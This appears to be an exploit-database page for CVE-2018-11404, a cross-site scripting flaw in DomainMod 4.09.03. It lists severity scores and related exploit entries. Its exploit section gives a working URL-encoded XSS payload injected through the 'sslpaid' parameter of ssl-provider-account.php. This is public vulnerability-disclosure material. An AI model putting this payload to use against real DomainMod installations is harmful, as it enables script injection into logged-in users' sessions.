Exploit for DomainMod 4.09.03 - sslpaid Cross-Site Scripting Vulnerability

CVE-2018-11404

zdt · 2018-05-29

Description

DomainMod v4.09.03 has Cross-Site Scripting Vulnerabilit

Entry point

Parametersslpaid · query param

Pathassets/edit/ssl-provider-account.php?del=1&sslpaid=%27%22%28%29%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt%28931289%29%3C/ScRiPt%3E

XSS via sslpaid parameter in assets/edit/ssl-provider-account.php (DomainMod v4.09.03)

Affected Domainmod versions

Domainmod= 4.09.03

All known vulnerabilities by product

Domainmod

CVSS 6.3 for CVE-2018-11404

6.3

MEDIUM SEVERITY

VectorNONE

EPSS Score

2.3%higher than 81.4% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2018-05-29 00:00

Last Seen:2018-05-30 00:18

Reporter:longer

Other exploits for CVE-2018-11404

DomainMod 4.09.03 Cross Site Scripting

2018-05-28 longerPACKETSTORM

DomainMod 4.09.03 - sslpaid Cross-Site Scripting

2018-05-28 longerEXPLOITPACK

DomainMod 4.09.03 - 'sslpaid' Cross-Site Scripting

2018-05-28 longerEXPLOITDB

Exploit Code

MARKDOWN13 lines

## https://sploitus.com/exploit?id=1337DAY-ID-30481
# Exploit Title: DomainMod v4.09.03 has XSS via the assets/edit/ssl-provider-account.php sslpaid parameter
# Exploit Author: longer（[email protected]）
# Vendor Homepage: domainmod (https://github.com/domainmod/domainmod)
# Software Link: domainmod (https://github.com/domainmod/domainmod)
# Version: v4.09.03
# CVE : CVE-2018-11404
  
An issue was discovered in DomainMod v4.09.03.（https://github.com/domainmod/domainmod/issues/63）
After the user logged in, open the url:
http://127.0.0.1/assets/edit/ssl-provider-account.php?del=1&sslpaid=%27%22%28%29%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt%28931289%29%3C/ScRiPt%3E

#  0day.today [2018-05-29]  #

Exploit Code

Share

Share on social media: